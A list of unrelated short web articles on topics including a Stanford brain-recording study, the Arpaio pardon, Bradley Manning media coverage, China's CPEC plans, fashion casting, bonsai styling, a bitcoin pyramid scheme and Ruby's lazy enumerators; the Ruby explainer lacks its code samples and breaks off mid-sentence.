-The research is young and the tech has only been used experimentally on three patients, but neurologists at Stanford say they are officially able to eavesdrop on the human brain in real-life (not just clinical) situations. What's more, they say their new method of recording brain activity opens the door to devices that can not only read but also manipulate the mind.  Stanford University  "This is exciting, and a little scary," Henry Greely, steering committee chair of the Stanford Center for Biomedical Ethics who observed but did not work on the study, said in a school news release. "It demonstrates, first, that we can see when someone's dealing with numbers and, second, that we may conceivably someday be able to manipulate the brain to affect how someone deals with numbers."  The researchers call their novel method intracranial recording, and they tested it on three patients who experience recurring, drug-resistant epileptic seizures and were being evaluated for possible surgical treatment. Unfortunately, the method requires temporarily removing a chunk of a patient's skull to position packets of electrodes against the exposed surface of the brain to measure the brain's electrical activity. They did this for as long as a week, capturing the patients' seizures to learn the exact spot where the seizures were originating.  The researchers were particularly interested in a region of the brain called the intraparietal sulcus, which is currently understood as playing a role in attention and eye and hand motion. Because previous studies have suggested that some nerve-cell clusters in this region are also involved in numerosity (i.e. math literacy) the researchers asked the patients to perform mathematical calculations and monitored the region when the patients were both performing those calculations and when they were engaging in quantitative thought in the course of daily life (concepts such as something being "more than" something else).  The volunteers were asked some questions that required calculation (i.e. is it true or false that 2+4=5?) and other questions that required episodic memory (i.e. is it true or false that you had coffee this morning?). They were also asked to stare at the center of a blank screen to capture the brain's baseline resting state.  Their novel brain-monitoring technique did involve volunteers being tethered to a monitoring apparatus and mostly confined to their beds, but had benefits over the other standard monitoring approach called fMRI -- where patients are stuck in a dark and intermittently noisy tubular chamber. In the journal Nature Communications on Tuesday, the researchers unveiled the first solid evidence that the pattern of brain activity is very similar when someone is performing a mathematical calculation and when they are engaging in more general quantitative thought.  "We're now able to eavesdrop on the brain in real life," Josef Parvizi, senior author of the study and associate professor of neurology and neurological sciences, said in the release. With fMRI, he added, "You're not in your room, having a cup of tea and experiencing life's events spontaneously." What they wanted to know, he said, is "how does a population of nerve cells that has been shown experimentally to be important in a particular function work in real life?"  While the findings may not seem like a giant step, it allowed the researchers to observe that electrical activity in a specific bundle of nerve cells spikes when a patient is engaged in a range of quantitative exercises, from actual math work to using terms such as "many" and "bigger than the other one" -- what Parvizi describes as both direct calculating and more oblique references to quantities.  "These nerve cells are not firing chaotically," he said. "They're very specialized, active only when the subject starts thinking about numbers. When the subject is reminiscing, laughing or talking, they're not activated." So by listening in on the brain's electrical chatter, the scientists were able to know whether a patient was engaged in quantitative thought.  While the researchers say these findings could ultimately lead to mind-reading applications -- be they of the therapeutic variety, such as helping a stroke victim communicate through passive thought, or of a more dystopian bent, such as chip implants that control one's thoughts -- they acknowledge that the research is incredibly young.  "If this is a baseball game, we're not even in the first inning," Parvizi said. "We just got a ticket to enter the stadium."
-Story highlights "The Speaker does not agree with this decision," Paul Ryan's spokesman says  Since the health care bill repealing Obamacare failed in the Senate, Trump has been blaming Ryan and McConnell for lack of action  Washington (CNN) House Speaker Paul Ryan disagrees with President Donald Trump's decision Friday to pardon Sheriff Joe Arpaio, his spokesman said Saturday.  "The Speaker does not agree with this decision," spokesman Doug Andres said in a statement. "Law enforcement officials have a special responsibility to respect the rights of everyone in the United States. We should not allow anyone to believe that responsibility is diminished by this pardon."  Trump pardoned the former Arizona sheriff Friday night of his conviction last month on charges of criminal contempt for violating a court order in a racial-profiling case. Arpaio was scheduled to be sentenced in October.  Arpaio's lawyer, Jack Wilenchik, told CNN that Ryan was wrong about the pardon, "and this is why when politics tries to mix with the courts, it's very tough. But at the end of the day here, the President did the right thing, because there should have been a jury in this case. We should have had one from day one, and at this point the appeal — in fact the sheriff is an old man, can't forget that, he's 85 years old. And this would be a lot more money and wasted time all around. So I would have rather seen this go to jury in the first place, and get the right verdict. But at this point, we're dealing with a wrongful verdict."  Arpaio, a longtime Trump supporter, was sheriff in Maricopa County, Arizona , until last year, when he lost his reelection bid to Democrat Paul Penzone. He thanked Trump in an interview with CNN affiliate KTVK and KPHO in Phoenix on Saturday.  Read More
-On May 24th PBS aired a Frontline documentary about alleged Wikileaker Bradley Manning called “WikiSecrets.” Billed as “The inside story of Bradley Manning, Julian Assange, and the largest intelligence breach in U.S. history” it focused exclusively on Manning’s struggles in the military as a data analyst and closeted homosexual who’d gained access and subsequently released tens of thousands of classified government documents. Omitting Manning’s stated motives or the content of the leaks, it put forth the “angry gay man” narrative that Bradley leaked the information primarily because he was frustrated by bullying and Don’t Ask Don’t Tell, the military policy in place until September 20, 2011 that prohibited military personnel from disclosing or discussing homosexual relationships. As PBS told it, Manning was angry and wanted to exact vengeance on the establishment before going bonkers.  From the transcript:  Martin Smith, reporter: It was a vicious circle. Manning started getting into fights. At Fort Drum, he was reprimanded for tossing chairs and yelling at fellow soldiers. He was referred for counseling. But because of “Don’t Ask, Don’t Tell,” Manning was unable to confide in his Army therapist. He sought counseling off base.  Jason Edwards, Manning’s friend: He called me from Fort Drum after some clashes between him and officers or other enlisted men. And mostly, it was just him crying over the phone to me.  MS: [on camera] Crying? Sobbing?  JE: Yeah. Very violently.  M S: And what would he be saying?  JE: A lot of it was intelligible. Mostly, it was, “Why?” He claimed that his superiors were stupid. And, “I can’t stay in this situation. I’m never going to get out.”  M S: [voice-over] His Army supervisor was concerned about sending Manning to Iraq, worried that he was a risk both to himself and others. But there was a shortage of qualified analysts. He was sent anyway.  This had been the dominant media narrative on Manning since his arrest the year before. The supporters he had were made up primarily of civil libertarians and the very liberal, people like Glenn Greenwald who already suspected the government and the military were committing atrocities overseas.  But in March, news reports came out about conditions at Quantico, the Marine base where he was being held. He was allegedly kept in isolation and made to stay awake 23 hours a day. Hillary Clinton’s spokesman P.J. Crowley, United States Assistant Secretary of State for Public Affairs, condemned the treatment, and Barack Obama was forced to confront the issue by a growing body of Manning sympathizers.  In early July New York magazine published a profile of Manning to mixed reviews. While some panned author Steve Fishman for focusing too much on Manning’s private life and personal problems, Fishman also became the first mainstream journalist to shed light on the fact that Manning has continuously claimed to have leaked the information as an act of conscience. And even if he wasn’t entirely supportive of the massive risk Manning took to shed light on the activities of the US government, Fishman treated him like a whistleblower – albeit a non-traditional one. As he wrote:  Manning isn’t a classic whistle-blower. Disturbing information didn’t cross his desk, prodding him to act. Manning snooped…He’d started leaking as a way to protest the conduct of the war…. But soon he embraced a broader principle: Open the drawers. “information should be free,” he [told friends].  Manning profile was a breath of fresh air into the public discourse on Bradley Manning and Wikileaks. New information brought to the court of public opinion will help shed light on the circumstances that led to Manning’s actions.  Fishman, to be sure, did discuss Manning’s personal issues. He even reported that Manning had been consulting counselors about a sex change; hitherto unknown information Fishman discovered. But Fishman didn’t insinuate that personal demons and homophobic bullies drove Manning mad to the point of leaking the documents. In addition to alluding to an incident that Manning said led him to reach out to WikiLeaks – when U.S. forces handed peaceful political dissidents over to Iraqi security forces who were known to torture detainees – Fishman mentioned that Manning was troubled by an incident in which his data analysis led to the death of people in Basra. Fishman pointed out that Manning was motivated, at least in part, by an ethical imperative. In doing so, he succeeded where CNN, PBS and even The Guardian have largely failed. As Fishman wrote:  [Manning] told the counselor about a targeting mission gone bad in Basra. “Two groups of locals were converging in this one area. Manning was trying to figure out why they were meeting,” the counselor told me. On Manning’s information, the Army moved swiftly, dispatching a unit to hunt them down. Manning had thought all went well, until a superior explained the outcome. “Ultimately, some guy loosely connected to the group got killed,” the counselor said. To the counselor, it was clear: Manning felt that there was blood on his hands. “He was very, very distressed.”  Fishman also noted that it wasn’t just that Manning felt like he was a part of something detrimental. Manning decided to do things his own way because complaints he made about possible war crimes were ignored. When Manning complained to his superiors, they ignored the solider and told him to get back to work. And although Fishman failed to elaborate on the issue, in a chat log with Adrian Lamo (the man who turned Manning in) Manning said that a superior ordered him to find more detainees – peaceful dissidents or otherwise – to round up on behalf of Iraqi Security forces, when he lodged a protest over the aforementioned incident.  According to Manning, not only have soldiers in Iraq been systematically ordered to commit crimes, but traditional avenues of dissent have been systematically stifled; an issue described by Fishman in his Manning profile. For example, Ethan McCord, one of the soldiers on the scene of the “Collateral Murder” incident leaked by Manning, claimed he was told by superiors “to get the sand out of my vagina” after he showed signs of distress and hinted that he wanted to complain about criminal atrocities he was ordered to commit.  Manning’s sexuality isn’t entirely irrelevant to the story – being a gay man in a homophobic environment probably heightened Manning’s sensitivity to injustice. As Fishman wrote:  In Iraq, the torments Manning suffered at the hands of his fellow soldiers, his loneliness and concern over his gender, and the hours and hours he would spend in the airless intel office watching the brutal inner workings of the war bore down on him. He was unmoored in a way he hadn’t been before: angrier, less afraid, more certain of what was good and what was evil, and more compelled to act on this dawning righteousness.  Thus, Fishman did pay mind to Manning’s political motives.  And he noted that it wasn’t just evidence of probable war crimes that moved Manning to act. Fishman, quoting Manning at length from the transcript of his online chat with Lamo, revealed to New York’s readers that Manning was perturbed by Uncle Sam’s pernicious activities beyond Iraq.  “[I]f you had free reign over classified networks for long periods of time,” Manning, as quoted from his chat with Lamo, said, “say, 8-9 months … and you saw incredible things, awful things … things that belonged in the public domain, and not on some server stored in a dark room in Washington DC … what would you do?”  While Fishman’s piece itself is unlikely to lead to any sudden change of heart on the government’s behalf, his article has revitalized the discussion. In its wake, Chase Madar released a widely published op-ed entitled “4 Reasons Bradley Manning Deserves the Medal of Freedom”. Politico, too, recently released an article – albeit one that involved a FOIA and was in the works for months – about an internal investigation by the Marines that revealed the decision to place Manning on suicide watch was politically motivated. And shortly after Fishman’s piece, Wired released an almost entirely unredacted version of the Manning-Lamo chat logs, which affords the public even more insight into Manning’s mindset, and reveals how he approached Wikileaks with the material.  But even if new information in the volley of articles that succeeded the Fishman piece haven’t influenced Manning’s case- it was clearly intended to foster a more mature discussion of the matter. This could end the harsh punitive treatment of Manning; punishment designed to frighten whistleblowers and strengthen the government’s cloak of secrecy.  That seemed, in any case, to be what happened to Thomas Drake. Drake, a former NSA official was charged with espionage for blowing the whistle on an inefficient, ineffective and borderline totalitarian data collection scheme. While his case had been highlighted by civil libertarians, transparency advocates and news sources of lesser prominence for years, charges against him were drastically scaled down only after The New Yorker and “60 Minutes” ran sympathetic pieces hailing his revelations as a service to the country. There were other factors that led the government to drop the charges to be sure but high profile reportage helped draw attention to Drake’s heroism, as Jesselyn Raddack of Government Accountability Project (an NGO that represented Drake) told reporters after Drake’s victory:  “This is awkward because it involves you guys,” she was quoted by Politico as saying. “The almost universally favorable media attention … has played a role.”  And while Manning might lack the years of service and the Patriotic pedigree of Drake, everyone – lowly army privates withstanding – might benefit from such a discussion. If the public learns more about Manning – why he (allegedly) leaked the info, and how he is being treated – it is more likely that fair treatment for the former solider will be forthcoming. And not only will those interested in preserving a murky framework for the government to do as it pleases be less capable of denying Manning his rights by painting him as a bomb-throwing Benedict Arnold, but it will be less able to act recklessly with impunity.
-China Pakistan Economic Corridor +  critics, particularly in Gilgit-Baltistan and Balochistan +  NEW DELHI: China’s longterm plans for Pakistan would do the East India Company proud. Proposals for therevealed in Pakistani newspaper Dawn envisage thousands of acres of agricultural land being leased to Chinese enterprises to set up demonstration projects and a fibre-optic system that will facilitate the dissemination of Chinese culture.The proposals seem to confirm that Pakistan will become an economic colony of China as CPEC will help Beijing tighten its strategic embrace of its ally and provide it connectivity from Xinjiang to the Arabian Sea at Gwadar in Balochistan The range and scope of the plan is breathtaking, showing a deep penetration into Pakistan’s economic life. This could have several implications for India – Pakistan’s sovereignty could be forfeited to Chinese interests and China would be uncomfortably close to India’s borders in the east and west.It would be a virtual ring-fence of India.Thousands of acres of Pakistani agricultural land will be leased to Chinese enterprises, according to proposals for the China-Pakistan Economic Corridor (CPEC).The land will be leased for projects ranging from seed varieties to irrigation technology. A full system of monitoring and surveillance will be built from Peshawar to Karachi, with 24-hour video recordings on roads and busy marketplaces for law and order.A national fibre optic backbone will be used not only for internet traffic but also terrestrial distribution of broadcast TV, which will cooperate with Chinese media in popularising China’s culture.The Pakistani government has argued that CPEC will spur the economy and its linkages with agriculture and power will benefit citizens. Its, feel it is an infringement on their land and culture.Others have pointed to strings attached to Chinese aid. It was noted that the “CM” of Gilgit Baltistan was not involved in the One Belt, One Road discussions in Beijing attended by PM Nawaz Sharif.The Dawn report said, “The plan envisages a deep and broad-based penetration of most sectors of Pakistan’s economy as well as its society by Chinese enterprises and culture. Its scope has no precedent in Pakistan’s history in terms of how far it opens up the domestic economy to participation by foreign enterprises.”The report concluded, “In the areas of interest contained in the plan, it appears access to the full supply chain of the agrarian economy is a top priority for the Chinese.After that, the capacity of the textile spinning sector to serve the raw material needs of Xinjiang, and the garment and value added sector to absorb Chinese technology is another priority.Next is the growing domestic market, particularly in cement and household appliances, which receive detailed treatment in the plan.And lastly, through greater financial integration, the plan seeks to advance the internationalisation of the renminbi, as well as diversify the risks faced by Chinese enterprises entering Pakistan.”Laying out the risks, it said the topmost problem was politics and security. The next big risk was inflation, which the plan said had averaged 11.6% over the past six years.
-Only during New York Fashion Week do five-ten models appear to grow on trees. They’re from all over the world, but they’re in Manhattan to show off their grace and precision in hopes of becoming the next great Supermodel.  Dan Nguyen A model walks during a go see at Andrew Weir's casting call session for Fashion Week, on Sept. 1, 2012 in New York City.  “Take a walk, babe.”  On casting director Andrew Weir’s command, an impossibly tall, incredibly thin, beautiful blonde woman does an about face and begins striding to the other end of the room. When she reaches a stool placed about half way she pauses, turns around and struts back. The look on her face is all business, like she’s never found anything funny in her life.  When she reaches the table where Weir is sitting, she pauses again, holding the steely-eyed look for half a second, then suddenly her expression melts into a genuine smile. “Where are you from?” Weir asks her. Germany, she replies, and for 30 seconds they chat about cities they love in Deutschland. “Thank you so much,” Weir says kindly, and as she walks away, he jots some notes on a card just as the next model strolls up to the table.  (VIDEO: Top 10 Models Falling Down)  It’s five days before New York Fashion Week, and Weir is spending one of his precious preparation days, in its entirety, holding a giant casting session. Over more than six hours, Weir sees roughly 400 models, some of whom will be cast in the upcoming shows by Thakoon Panichgul and Jen Kao. Weir’s team has transformed Mister H, a swanky bar attached to the Mondrian Soho hotel in New York City, into a studio. There is a backdrop for headshots and two photographers working simultaneously to document the action.  Dan Nguyen  At the far end of the room, Weir sits at a long table with three of his assistants. He’s dressed in black jeans, boots and a Batman hoodie, which is necessary because the air conditioner is on full blast. The A/C itself is a necessity, not only because it’s nearly 90 degrees outside, but because Weir’s team has set up blinding lights that illuminate the space in front of the bar, which today serves as a makeshift runway.  For most of the models it’s a quick process. After getting a headshot taken behind the bar, they line up on couches, waiting their turn to be seen. For most of the afternoon, no one comes to tell them they’re next; they wait patiently and hop up one by one like they’ve been through this process a million times.  (MORE: Michelle Obama’s Fashion: On Message)  One by one they approach the table; one by one they walk to the end of the room; and one by one, sometimes after a few quick questions, Weir thanks them for coming. He asks each model where she is from: California, Florida, Georgia and Michigan; the Netherlands, Russia, Jamaica and more than a couple from Brazil. Some are dressed in skinny jeans, others in cut off jean shorts that make Daisy Dukes look like pantaloons. So many models are wearing leather shorts that Weir predicts that they’ll be a fashion trend in the coming year. He watches intently, and he seems to know exactly what he is looking for. After jotting a few notes on one of his cards, he either circles the names of the designers whose shows the model might fit, or he circles the word “No.” But regardless of what he writes on the page, Weir is unfailingly polite, complimenting each of the models and thanking them for coming in. “We try to be aware of the power of our words,” he says. “These girls are so young.”  Indeed, the veterans among the models are about 18. When Weir asks them which shows they’ve done, some rattle off a list of designers and cities that could fill an entire page. Others seem to have genuinely forgotten. When one of the models explains that in high school none of the boys wanted to date her because she was so tall, Weir asks how old she is. Sixteen, she replies, but the way she describes high school in Colorado, it sounds like a distant memory. Before thanking her for coming in, Weir asks if her mother or a chaperone is here. Even though we’re in one of the chicest neighborhoods in Manhattan, he doesn’t want a 16-year-old wandering the streets by herself.  While most of the models get the standard treatment, Weir asks every tenth one or so to walk again, only this time faster and with longer strides. When I ask if that’s to correct something in their walk, he shakes his head. “To really get a sense of what they’re capable of, I have them walk faster and take bigger steps,” he explains. “It changes their energy. When they’re walking faster and turn around, they give a more intense look.”  (MORE: Marissa Mayer’s Executive Style)  Second to that look, it seems, the walk is the model’s most important skill. For the ones who do it well, it’s a combination of precision and grace, placing each foot forward, swinging the arms back and forth to create a gentle swaying of the hips. The turn around, like an about face in a military parade, appears to be the most challenging part. Each model has her own technique: some shift their heels to the side and step around where they stood a micro second before; others move the left foot slightly behind the right and complete the turn before the watcher has time to realize what she’s done.  That back step technique appears to have the highest degree of difficulty and the biggest payoff, because each of the three times I saw it, Weir leaned over to me excitedly and said, “Watch this. This is a Supermodel.” He told me to concentrate on the walk, the glide, pause, turn, glide, pause. At first it was hard to see exactly what separated these few gorgeous women from the room full of other gorgeous women until it hit me: they were executing movements with a precision usually seen in military parades. They did all of this under blinding, blazing lights wearing four-inch stiletto heels. But the great ones made it look effortless, appearing to expend no more energy than sitting on a couch. “That in the human race doesn’t happen very often,” Weir tells me after one of the supermodels exits the stage.  Out of the 400 or so models Weir will see that day, there are three he will proclaim to embody that perfection, destined for stardom. And while he’s noticing the subtle, nearly invisible differences between those women and the dozens of others, he’s sorting them into who will work best for the aesthetics of each show. I ask him how his time behind the camera prepared him for this job. “It sharpens my view,” he says. “Twenty years looking through the lens and 15 years in casting” allows him to see the details while keeping the bigger picture in mind.  When I ask why he’s taking an entire day to see hundreds of models when he might only recommend a few dozen for the week’s shows, he says it’s necessary because there are new, talented faces all the time. “Now that the world’s wide open, there’s more girls to see than ever before,” he says. “Scouts are looking for girls from every part of the planet.”  After the stroll under the hot lights, the models change out of their astronomical heels and into sneakers or flip flops, gather their things and head out into the late summer day. Out of their stilettos, they’re still tall and thin and beautiful. But with flat soles beneath their feet, they appear much more normal. It is trait that will benefit them as they traverse the cracked sidewalks and packed streets of New York until they put on the heels yet again at the next of many casting calls—or, if they’re lucky, on the runways of New York Fashion Week.  MORE: A Fashionable Fit
-The PowerColor PCS+ HD7950 has factory overclocked setting at 880MHz core and 1250MHz memory speed, with dual 92mm ultra huge fan and 3 units 8mm large heat pipes design, easily dissipating the heat from pure cooper base which fully covers the GPU, providing 15% lower temperature and 20% quieter noise level.  Enjoy the optimized HD gaming and compute with the world’s first 28nm GPU architecture. The latest PCI Express 3.0 support offers double bandwidth of previous generation. The HD7950 series takes advantage of AMD PowerTune technology, maximizing performance by dynamically increasing GPU engine clock, enabling higher clock speeds when it needed; also, with the latest AMD Eyefinity 2.0 technology and HD3D technology, gamers can get a lifelike gaming experience through the 16k x 16k maximum display group resolution. Furthermore, with the support of AMD APP Acceleration, the latest HD7950 series can offload computing from CPU to GPU, speeding up the daily applications and increasing the efficiency.
-Armored Corps instructor course, 2000 (Photo: IDF Spokesman, courtesy of the IDF Archive)  Infantry instructor course, 2000 (Photo: Abir Sultan/IDF Spokesman, courtesy of the IDF Archive)  Armored Corp instructor, 1993 (Photo: Michael Chai/Bamahane, courtesy of the IDF Archive)  Fighters reading a map during training, January 2000 (Photo: IDF Spokesman, courtesy of the IDF Archive)  Hike to receive supplies parachuted from a plane, 1954 (Photo: Assaf Kutin, Bamahane, courtesy of the IDF Archive)  Hike to receive supplies parachuted from a plane, 1954 (Photo: Assaf Kutin, Bamahane, courtesy of the IDF Archive)  Hike to receive supplies parachuted from a plane, 1954 (Photo: Assaf Kutin, Bamahane, courtesy of the IDF Archive)  Hike to receive supplies parachuted from a plane, 1954 (Photo: Assaf Kutin, Bamahane, courtesy of the IDF Archive)  Deputy IDF Chief of Staff Rabin comes for a visit, 1959 (Photo: Assaf Kutin, Bamahane, courtesy of the IDF Archive)  Soldier carries a rifle with a sniper scope, 2000 (Photo: IDF Spokesman, courtesy of the IDF Archive)  Fighter hurls a grenade during infantry commanders course, 2000 (Photo: Abir Sultan, IDF Spokesman, courtesy of the IDF Archive)  Infantry commanders course, 2000 (Photo: Abir Sultan, IDF Spokesman, courtesy of the IDF Archive)  Fighters during pushups during training, 2000 Photo: IDF Spokesman, courtesy of the IDF Archive)  Fighters training, 2000 (Photo: IDF Spokesman, courtesy of the IDF Archive)  Fighters training with an Uzi, 2000 (Photo: IDF Spokesman, courtesy of the IDF Archive)  Fighters training, 2000 (Photo: IDF Spokesman, courtesy of the IDF Archive)  Fighters training, 2000 (Photo: IDF Spokesman, courtesy of the IDF Archive)  Fighters training, 2000 (Photo: IDF Spokesman, courtesy of the IDF Archive)  Fighters training, 2000 (Photo: IDF Spokesman, courtesy of the IDF Archive)  An Armored Corps instructor directing an APC, 1993 (Photo: Michael Chai, Bamahane, courtesy of the IDF Archive)  Anti-tank instructors practicing the firing of Tau missiles (Photo: Eran-Yofi Cohen, Bamahane, courtesy of the IDF Archive)
-The new Bonsai Book for 2019 by Harry Harrington  Bonsai Books· Bonsai Tools· Bonsai For Sale· Carving Tools· Bonsai Pots· Bonsai T-Shirts  Page 1 of 2:  The final chapter of my second book 'Bonsai Inspirations 2' details the styling of a large San Jose Juniper bonsai that I styled during the Autumn of 2011. Originally a semi-cascade bonsai, the planting position of the tree was altered to an upright position, the deadwood reworked and the foliage wired and laid-out.  As a first styling, it was something of a disappointment not to be able to push the tree further in terms of refinement. However, the health, and indeed the survival, of the tree was of utmost importance and as a result, the foliage was not refined as aggressively as I would have liked and some awkward surface roots were left to be addressed in the future.  After finishing the styling of the Juniper bonsai in late Autumn 2011, the tree was returned to its owner and was eventually sold on to another bonsai enthusiast.  Just a year later, and to my great pleasure, I was contacted by the new owner of the tree who asked me to refine the tree again. The tree had been left to grow freely for the year which as a result had become terribly out of shape. However, all this free growth had also greatly invigorated it and I knew immediately that I would be able to push the development of the bonsai much further.  I feel the image above is a great example of why it is wrong for some enthusiasts to hold the belief that acquiring ready-styled bonsai is an easy route to owning a good-quality bonsai collection. Whatever the pedigree of material an enthusiast collects, be it in the form of 'finished' bonsai or raw material, if a bonsai is not regularly maintained, the bonsai can rapidly become unruly and unrefined. A well-presented bonsai is always the result of skilled and meticulous care, however the tree was acquired.  With the density of the foliage having greatly increased over the previous year, I began the restyling by removing some now-redundant branches that had been used previously to help bulk up the foliage mass. A low branch was removed from behind the trunk as was the foliage from a dropping branch at the top of the trunk (this was partially retained to be turned into jin)  At the same time as working on the foliage mass of the tree, I also worked on some ugly surface roots. During the initial styling of the bonsai I had decided that it is was too risky to remove or jin these roots as the tree might be too reliant on them at that time. However, with a year having passed I was able to firmly establish that the roots were barely supporting the tree, if at all, and I was able to work on them.  (As described in detail in 'Bonsai Inspirations 2') I thinned out the foliage mass prior to wiring the branches by removing all runts and hotheads to create small sprays of foliage which could then be wired.  Partway through the time-consuming process of wiring and laying-out the foliage  The foliage mass of the Juniper bonsai, seen from above, after the styling was completed; each and every bundle of foliage wired and carefully placed.  The deadwood at the base of the tree, including the newly jinned surface roots, freshly whitened with lime-sulphur  >>Page 2 of 2: Restyling A San Jose Juniper Bonsai
-A bitcoin-focused pyramid scheme may have targeted Buddhist meditation practitioners in Thailand, according to a local news outlet.  In a report from English-language media source The Nation, members of a Buddhist temple in the town of Uttaradit were said to have been approached with offers to invest in bitcoin. The temple-goers were allegedly promised handsome profits if they invested “at least 38,000 baht” (an amount worth roughly $1,100 at press time), including a doubling of that return if they attracted other investors.  A representative of the group filed a report with Thailand’s Department of Special Investigation (DSI), prompting the first stages of an investigation over concerns it might be a pyramid scheme, in which early investors are paid out with the proceeds from new ones.  As many as 800 practitioners from Uttaradit, Pathum Thani and Chiang Mai have contributed to the fund, the report said. While no one from the group has confirmed any loss so far, the DSI said the promise was “too good to be true” and that it will investigate to “check whether the operation is illegal”.  The case is not the first possible digital currency-based scam to emerge in Thailand. In 2015, police launched an investigation into a scheme called UFUN that also attracted investors with promises of high returns.  Buddha statues image via Shutterstock
-LGBT activists are continuing their demand for immigrant trans rights this week in protest to a lack of governmental response with the hashtag #Breakthecage. The hashtag is a call for reform in detention practices by the United States organized by United We Dream, The Trans Women of Color Collective, Immigration Equality, Casa Ruby, the Queer Undocumented Immigrant Project and the National Center for Transgender Equality.  There are currently 11.4 million undocumented immigrants in the U.S., with 267,000 of those identified as LGBTQ according to the organization’s Facebook event. Throughout the world, numerous countries still outlaw acts of homosexuality, creating a huge push for immigration to countries that do not. Fleeing one state only to be detained or, even worse, deported from another has the potential for incredibly harmful results. LGBTQIA individuals continue to be 13 times more likely to be targets of sexual assault, are held in solitary confinement, and inaccurately processed with the gender they self identify as.  On July 30, the collective gathered in Washington D.C. to stage a “die-in”, a smart and poignant take on the “sit-in”. The U.S. Immigration and Customs Enforcement (ICE) announced on June 29 the Transgender Care Memorandum as a response to the initial protests. Shortly after, United We Dream released a press release calling out ICE for failing to effectively and meaningfully take trans immigrant issues into consideration.  The memorandum named three points they would focus on reorganizing, which include updating data take-in to better document gender identity, better training for officers to identify gender earlier on, and the creation of a Transgender Care Classification Committee. These may be steps in the right direct, but they fail to systematically self-asses a program that continues to violate human rights for the LGBTQIA community.  #Breakthecage is also emerging as an example of young activism- United We Dream is an advocacy group for and by immigrant youth, along with the other organizations involved in the movement. Social media, especially Twitter and Facebook, have been their biggest advantages. As the “die-in” progressed, up-to-date information on the protest and alleged arrests were shared through these networks.  If you’d like to support #breakthecage, you can sign their petition here.  Image via Steven Depolo.  (Visited 133 times, 1 visits today)
-Lazy enumeration isn’t magic;  it’s just a matter of hard work  Ruby 2.0’s new lazy enumerator feature seems like magic. In case you haven’t tried it yet, it allows you to iterate over an infinite series of values and take just the values you want. It brings the functional programming concept of lazy evaluation to Ruby – at least for enumerations.  For example, in Ruby 1.9 and earlier you would run into an endless loop if you tried to iterate over an infinite range:  Here the call to collect starts an endless loop; the call to first never happens. However, if you upgrade to Ruby 2.0 and use the new Enumerable#lazy method, you can avoid the endless loop and get just the values you need:  But how does lazy evaluation actually work? How does Ruby know I only want ten values, in this example? All I have to do is make the simple call to the lazy method and it just works.  It seems like magic, but actually it’s just a matter of hard work. A lot happens inside of Ruby when you call lazy. To give you just the values you need, Ruby automatically creates and uses many different types of internal Ruby objects. Like heavy equipment at a work site, these objects work together to process the input values from my infinite range in just the right way. What are these objects? What do they do? How do they work together? Let’s find out!  The Enumerable module: many different ways of calling “each”  When I call collect on the range above I’m using Ruby’s Enumerable module. As you probably know, this module contains a series of methods, such as select, detect, any? and many more, that process lists of values in different ways. Internally, all of these methods work by calling each on the target object or receiver:  You can think of the Enumerable methods as a series of different types of machines that operate on data in different ways, all via the each method:  Enumerable is eager  Many of the Enumerable methods, including collect, return an array of values. Since the Array class also includes the Enumerable module and responds to each, you can chain different Enumerable methods together easily:  In my code example above, the Enumerable#first method calls each on the result of Enumerable#collect, an array which was generated in turn by another call to each on the input range.  One important detail to notice here is that both Enumerable#collect and Enumerable#first are eager: this means that they process all of the values returned by each before returning the new array value. So in my example, first collect processes all the values from the range and saves the results into the first array. Then in a second step first processes all the values from the first array, placing the results into the second array:  This is what leads to the endless loop for an infinite range; since Range#each will never stop returning values, Enumerable#collect will never finish, and Enumerable#first will never get a chance to stop the iteration.  The Enumerator object: deferred enumeration  One interesting trick you can use with the Enumerable module’s methods is to call them without providing a block. For example, suppose I call collect on my range, but I don’t provide a block:  Here Ruby has prepared an object you can use later to actually enumerate over the range, called an “Enumerator.” As you can see from the inspect string, Ruby has saved a reference to the receiver (1..10) along with the name of the enumerable method I want to use (collect) inside the enumerator object.  Later when I want to actually iterate through the range and collect the values in an array, I can just call each on the enumerator:  There are a few other ways of using enumerators, such as calling next repeatedly, which I don’t have time to discuss today.  Enumerator::Generator – generating new values for enumeration  In my previous examples I used a Range object to produce a series of values. However, the Enumerator class provides another more flexible way of generating a series of values using a block. Here’s an example:  Let’s take a look at what sort of enumerator this is:  As you can see, Ruby has created a new enumerator object that contains a reference to an internal object called Enumerator::Generator, and has setup to call the each method on that generator. Internally, the generator object converts the block I provided above into a Proc object and saves it away:  Now when I use the Enumerator object, Ruby will call the Proc saved inside the generator to get the values for the enumeration:  In other words, the Enumerator::Generator object is a source of data for an enumeration – it “generates” the values and passes them along.  Enumerator::Yielder – allowing one block to yield to another  If you take a close look at the code above, there’s something strange about it. I first created the Enumerator object using a block:  …which yields values to a second block I provide later when I call each:  In other words, the enumerator somehow allows you to yield values directly from one block to another:  But of course this isn’t how Ruby works. Blocks can’t pass values directly to each other like this. The trick to making this work is another internal object called the Enumerator::Yielder object, passed into the block with the y block parameter:  The y parameter is very easy to miss here. But if you re-read the block’s code, you’ll notice I’m not actually yielding values at all, I’m simply calling the yield method on the y object, which is an instance of the built in Enumerator::Yielder class. You can see and use this class for yourself in IRB as follows:  The yielder catches values I want the enumerator to generate, using the yield method, and then later actually yields them to the target block. As a Ruby developer, aside from calling yield I don’t normally ever need to interact with the generator or the yielder; they are used internally by the enumerator. When I call each on the enumerator, it uses these two objects to generate and yield the values I want:  Enumerators generate data; Enumerable methods consume it  Stepping back for a moment, the pattern we’ve seen so far with enumerations in Ruby is:  Enumerator objects produce data.  Enumerable methods consume data.  From right to left, the enumerable method calls each to request data; later from left to right the enumerator object provides the data by yielding it to a block.  Enumerator::Lazy – putting it all together  Ruby 2.0 implements lazy evaluation using an object called Enumerator::Lazy. What makes this special is that it plays both roles! It is an enumerator, and also contains a series of Enumerable methods. It calls each to obtain data from an enumeration source, and it yields data to the rest of an enumeration:  Since Enumerator::Lazy plays both roles, you can chain them up together to produce a single enumeration. This is what happens in my infinite range example:  The call to lazy produces one Enumerator::Lazy object. Then when I call collect on this first object, the Enumerator::Lazy#collect method returns a second one:  You can see here that the second Enumerator::Lazy, created by the call to Enumerator::Lazy#collect, also calls my block, the x*x code.  How does all of this work? How does Enumerator::Lazy do all of this? To serve both as a data producer and consumer, Enumerator::Lazy uses generator and yielder objects in a special way. The generator first calls each to obtain data, and then it passes each value it obtains immediately into a special block:  Let’s take a closer look at the block from the diagram – this block implements the Enumerator::Lazy#collect method. (The other lazy enumeration methods use slightly different blocks.) Ruby implements it internally using C code, but this is the equivalent Ruby code:  Reading the code, we can see the block takes a yielder and a value. Then it yields the value to another block – this is actually the block I provide to Enumerator::Lazy#collect or x*x in my example. Then the 